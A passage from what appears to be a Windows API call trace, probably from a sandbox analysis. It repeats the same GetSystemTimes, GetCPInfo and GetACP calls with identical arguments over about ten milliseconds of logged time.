out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.203] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.203] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.203] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.203] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.203] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.203] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.203] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.203] GetACP () returned 0x4e4 [0049.203] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.204] GetACP () returned 0x4e4 [0049.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.204] GetACP () returned 0x4e4 [0049.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.204] GetACP () returned 0x4e4 [0049.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.204] GetACP () returned 0x4e4 [0049.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.204] GetACP () returned 0x4e4 [0049.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.204] GetACP () returned 0x4e4 [0049.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.204] GetACP () returned 0x4e4 [0049.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.204] GetACP () returned 0x4e4 [0049.204] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.205] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.205] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.206] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.206] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.206] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.206] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.206] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.206] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.206] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.206] GetACP () returned 0x4e4 [0049.206] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.207] GetACP () returned 0x4e4 [0049.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.207] GetACP () returned 0x4e4 [0049.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.207] GetACP () returned 0x4e4 [0049.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.207] GetACP () returned 0x4e4 [0049.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.207] GetACP () returned 0x4e4 [0049.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.207] GetACP () returned 0x4e4 [0049.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.207] GetACP () returned 0x4e4 [0049.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.207] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.207] GetACP () returned 0x4e4 [0049.207] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.208] GetACP () returned 0x4e4 [0049.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.208] GetACP () returned 0x4e4 [0049.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.208] GetACP () returned 0x4e4 [0049.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.208] GetACP () returned 0x4e4 [0049.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.208] GetACP () returned 0x4e4 [0049.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.208] GetACP () returned 0x4e4 [0049.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.208] GetACP () returned 0x4e4 [0049.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.208] GetACP () returned 0x4e4 [0049.208] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.208] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.209] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.209] GetACP () returned 0x4e4 [0049.209] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.210] GetACP () returned 0x4e4 [0049.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.210] GetACP () returned 0x4e4 [0049.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.210] GetACP () returned 0x4e4 [0049.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.210] GetACP () returned 0x4e4 [0049.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.210] GetACP () returned 0x4e4 [0049.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.210] GetACP () returned 0x4e4 [0049.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.210] GetACP () returned 0x4e4 [0049.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.210] GetACP () returned 0x4e4 [0049.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.211] GetACP () returned 0x4e4 [0049.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.211] GetACP () returned 0x4e4 [0049.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.211] GetACP () returned 0x4e4 [0049.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.211] GetACP () returned 0x4e4 [0049.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.211] GetACP () returned 0x4e4 [0049.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: 